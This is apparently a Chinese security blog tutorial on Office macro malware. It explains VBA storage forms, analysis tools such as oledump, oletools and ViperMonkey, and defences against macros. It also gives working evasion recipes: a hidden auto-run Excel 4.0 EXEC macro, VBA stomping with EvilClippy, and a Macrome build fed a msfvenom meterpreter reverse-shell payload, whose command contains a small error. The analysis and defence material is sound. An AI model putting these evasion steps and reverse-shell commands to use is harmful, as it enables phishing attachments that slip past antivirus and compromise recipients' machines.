前言:
前几天看到Ms08067公众号有篇讲Windows基础的文章特别好,进入了我的收藏夹,结果今天想看的时候已经被删除了。。。。。
宏病毒:
宏病毒的激发机制有三种:利用自动运行的宏,修改Word命令和利用Document对象的事件。
宏病毒中常用的自动执行方法有两种:一种是用户执行某种操作时自动执行的宏,如Sub botton(),当用户单击文档中的按钮控件时,宏自动执行;另一种则是Auto自动执行,如Sub AutoOpen()和Sub AutoClose(),分别在文档打开和关闭时自动执行。
用vba编写的宏有三种不同的可执行形式,每种形式都可以是运行时实际执行的内容,具体取决于环境。
源代码:宏模块的原始源代码被压缩并存储在模块流的末尾。这使得查找和提取宏分析所需的大多数免费DFIR工具相对容易,如oledump或olevba甚至许多专业工具反病毒工具只查看此表单。然而,大多数情况下,office完全忽略了源代码。实际上,可以删除源代码(因此使所有这些工具都认为不存在宏),但是宏仍然可以执行而不会出现任何问题。大多数工具在此存档文件中看不到任何宏,但如果使用相应的Word版本(与文档名称匹配)打开,它将执行恶意的宏代码
P代码:当每个vba行被输入vba编辑器时,它立即被编译成p代码,并存储在模块流中的不同位置。p代码正是大多数时候执行的代码。实际上,即使在vba编辑器中打开宏模块的源代码,显示的也不是解压缩的源代码,而是反编译为源代码的p代码。只有在使用不同于用于创建文档的vba版本的office版本下打开文档时,存储的压缩源代码才会重新编译为p代码,然后执行该p代码。这使得可以在任何支持VBA的Office版本上打开包含VBA的文档,并使其中的宏保持可执行,尽管不同版本的VBA使用不同(不兼容)的P代码指令。
执行代码:当p代码至少执行了一次时,它的另一个标记形式存储在文档的其他位置(在流中,其名称以
\u srp\u
开头,后跟一个数字)。从那里可以执行得更快。但是,execodes的格式非常复杂,并且是特定于创建它们的特定office版本(而不是vba版本)。这使得它们非常不便于携带。此外,它们的存在是不必要的,可以被删除,宏将正常运行(从p代码中)
由于大多数情况下,p代码决定了宏到底要做什么(即使源代码和执行代码都不存在)
Excel 4.0宏:
1、新建一个xls文件,右键单击屏幕底部的"Sheet1",然后单击"插入"
2、弹出一个窗口,允许您从要插入的各种对象中进行选择。选择"MS Excel 4.0 宏表"并单击"确定"
此时会创建一个名为"宏1"的新工作表。这是一种特殊的工作表类型,可以在其中输入XLM宏(所谓的宏表)。
3、单击任何单元格并在此单元格和下面的后续单元格中输入公式=EXEC("calc.exe")
和=HALT()
4、将A1格内容改为Auto_Open
5、保存,重新打开后,点击启用宏功能,代码执行:
补充说明:
=EXEC("calc.exe")
:内部调用WinExec函数打开计算器
=HALT()
:标识Excel 4.0宏结束
在上述步骤的基础上,我们可以再设置单元格格式,将单元格隐藏起来,并保护工作表
设置密码
然后再将宏1工作表隐藏,设置保护工作簿
设置密码,这样的话只有取消保护工作簿
后才能取消隐藏工作表。打开excel启用宏后,具体效果如下:
查看宏代码:
实际钓鱼的过程中,往往会对宏代码进行加密:
- pcodedmp:
pip install pcodedmp -U
pcodedmp.exe 1.doc
- oledump:
oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。
项目地址:https://github.com/decalage2/oledump-contrib
其查找基于二进制文件格式的文件中的内容的流程:
1.读取文件流。
2.识别可能包含要查找的内容的结构。
3.通过第一个结构,找到下一节的位置。
4.在流中转到该节。
5.重复前面两个步骤,直到找到所需的内容。
6.读取并分析内容。
某段数据上标记了字母M,表示这段数据中含有VBA宏(Macro):
1、查看word恶意样本信息:python oledump.py 1.doc
2、查看宏脚本:python oledump.py -s 8 -v 1.doc
- -s 段号:选择分析出的某一段来查看内容
- -v:解压缩VBA宏
在实际分析时,-s后的参数可以选择'a',表示分析所有段的数据
3、查看word中插入的内容:python oledump.py -s 17 1.doc
4、宏内容解码:python oledump.py -s 17 -D decoder_ay.py 1.doc | more
介绍一下 decoder_ay.py和-d参数,它可以将文件中的exe数据dump下来。有一些文档宏存储了exe数据,这个时候我们就可以使用下列命令,将文档中的exe数据导出:
python oledump.py -s 14 -D decoder_ay.py -d 1.doc >1.exe
如果我们只是想dump某一段数据,而不关心是不是exe数据,使用如下命令:
python oledump.py -s 段名 -d 文件名 >新文件名
Office病毒样本分析:
oletools:
OLE工具套件是一款针对OFFICE文档开发的具有强大分析功能一组工具集,利用此类工具集即可对office文档进行完善的分析和解密
python-oletools是一款分析Office文件与其OLE文件结构的工具套件:
pip install -U https://github.com/decalage2/oletools/archive/master.zip
- 利用oletools工具里的mraptor(macrorapter)查看是否可疑:
mraptor通过启发式方法检测大多数恶意VBA宏,不同于杀毒引擎检测特征码。当发现文档自动执行触发器和写入文件系统或内存操作,或执行VBA上下文等操作时会判断为恶意宏。
Flag标志:
A:自动执行
W:写文件或内存
X:执行文件或payload。
- 利用oletools工具里的olevba提取vba脚本并检测可疑代码
olvba是一个解析OLE和OpenXML文件的工具,可以检测VBA宏是否可疑,检查方式通过提取源代码以及通过反沙盒和反虚拟化技术使用的关键字以及潜在的IOC(IP地址,URL,可执行文件名等)。还可以检测和解码几种常见的混淆方法,包括十六进制,反转字符串,base64,dridex,VBA表达式,并从解码字符串中提取IOC
以CS宏木马为例:olevba.exe 1.doc
- 利用oletools工具里的oleid检测ole文档中包含的内容:
包括是否被加密、是否有VBA脚本、Excel、PowerPoint、Visio、Flash,是否存在远程模板注入的可能性
- 利用oletools工具里的oletimes提取OLE文件中所有流和存储的创建和修改时间:
时间信息可以帮助我们掌握基础的IOC信息,如果创建时间距离安全事件发生时间不长则可能定义为一个新的IOC。
ViperMonkey:
项目地址:https://github.com/decalage2/ViperMonkey
ViperMonkey是一个用Python编写的VBA仿真引擎,用于分析和反混淆MicrosoftOffice文件(Word,Excel,PowerPoint,Publisher等)中包含的恶意VBA宏。主要是通过VBA解析和仿真的方式来进行分析。
其工作流程:
1、使用oletools.olevba,从Office文件中提取VBA宏源代码。
2、使用由pyparsing定义的VBA语法解析代码。
3、解析器将VBA代码转换为结构化对象模型(Python对象)。
4、自定义VBA引擎模拟代码的执行,模拟大多数恶意宏使用的Office功能,ActiveX对象和DLL。
5、捕获并记录特定动作,例如调用DLL,运行代码,下载或写入文件。
6、恶意软件分析师可以使用结果来更好地理解宏的行为,并提取混淆的字符串/ IOC。
pypy vmonkey.py -s -l warning 1.doc
- -l 选项减少日志的级别
宏免杀:
一般常见的邮件流程如下:
邮件→邮件服务器→防毒→防垃圾→收件箱
当下杀软的三种查杀方式:1.静态查杀 2.云查杀 3.行为查杀。
邮件服务器为了可用性和隐私性一般只有静态查杀。所以我们只需要规避特征值绕过静态查杀就可以让钓鱼附件进入收件箱了。
vba宏代码有3个存储的地方:源代码、pcode区和execode区
存在三个代码区域,那么什么情况下会执行对应的代码呢?
正常情况只会执行源码和p-code
- pcode:office版本和vba编辑器相同时,使用pcode(pcodedmp提取pcode代码)
- 源码:office或者vba版本不同时,使用源码执行
- exe-code:是pcode的执行记录,不会被执行,但是具备独立执行的条件
针对上面的pcode和源码在不同条件下的执行优先顺序,提出了不同的攻击方法。
VBA stomping:
将恶意的源码与非恶意的VBA源码进行交换,保留p-code不变。攻击能够成功取决于office版本,office版本和目标的office版本相同时,office会优先执行p-code中的代码。可以使用EvilClippy进行免杀处理
项目地址:https://github.com/outflanknl/EvilClippy
EvilClippy的使用:EvilClippy.exe -g -r -s fake.vba -t 2016x64 bad.doc
- -t:针对 x64 上的 Word 2016。这意味着 x64 上的 Word 2016 将执行原始VBA代码,而其他版本的 Word 将执行fake.vba中的代码
- -s:通过假的vba代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常无毒的vba脚本。
- -g:从 VBA GUI 编辑器中隐藏所有宏模块(默认的ThisDocument模块除外)
- -r:在目录流中设置随机 ASCII 模块名称
fake.vba:
sub hello()
Dim X
X = MsgBox "yes,ok!"
End Sub
查杀结果:
Macrome:
项目地址:https://github.com/michaelweber/Macrome
Macrome 有三种操作模式:构建模式、转储模式和反混淆模式。
- 构建模式
以build使用提供的诱饵文档和宏有效负载生成包含混淆宏表的 Excel 文档:
msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.107.129 lport=4444 -b '\x00' --arch x86 --platform windows -f raw > payload32.bin
Macrome.exe build --decoy-document decoy_document.xls --payload payload32.bin
生成一个 XLS 2003 文档,在打开并按下“启用内容”按钮后,将执行 payload32.bin
- 嵌入可执行文件
项目地址:https://github.com/TheWover/donut
donut.exe -a 3 -b 1 -f evil.exe
会生成payload.bin,然后再通过构建模式生成Excel文档
- 去混淆模式:
Macrome deobfuscate -h
Macrome deobfuscate --path path/to/obfuscated_file.xls
更多详情请参考:译文 | Macrome - 适用于红队和分析师的 Excel 宏编辑器
实战案例:
实战 | 钓鱼与社工系列之office宏
老树开新花 | 利用Excel 4.0宏躲避杀软检测的攻击技术分析
防御手段:
禁用宏:打开开始菜单,点击选项处,进入信任中心,点击信任中心设置,在宏设置处的对话框中选择“禁用所有宏,并发出通知”,如图所示:
注意:宏病毒防护无法阻止启动word时Autoexec.DOT中的宏和Normal.DOT中的宏自动执行。
恢复被宏病毒破坏的文档:
下面以删除Word宏病毒为例分步骤详细说明:
- 1、退出Word程序,先查看系统盘根目录下是否存在Autoexec.DOT文件,如果存在,而又不知道它是什么时候出现,则将其删除。
- 2、然后找到Normal.DOT文件,一般位于
C:\Documents and Settings\ Administrator\Application Data\Microsoft\Templates
或者C:\Users\Administrator\AppData\Roaming\Microsoft\Templates
目录下,用先前干净的备份将其替换,也可以直接删除,Word不会因为找不到Normal.DOT而拒绝启动,它会自动重新生成一个干净的没有任何外来宏的Noraml.DOT。 - 3、查看Noraml.DOT所在的目录中是否存在其他模板文件,如果存在且不是自己复制进去的,将其删除。
- 4、重新启动Word程序,查看Word是否恢复正常了。
- 5、最后检查宏病毒防护是否被启用了,某些病毒会自动禁用宏病毒防护功能,如果不启用禁用宏功能,Word会很快再次被病毒感染。
参考如下:
宏病毒研究——实战研究篇
一文浅析Office恶意宏代码如何隐藏和破解
Python pcodedmp包_程序模块 - PyPI - Python中文网
office病毒分析从0到1
Office病毒样本分析案例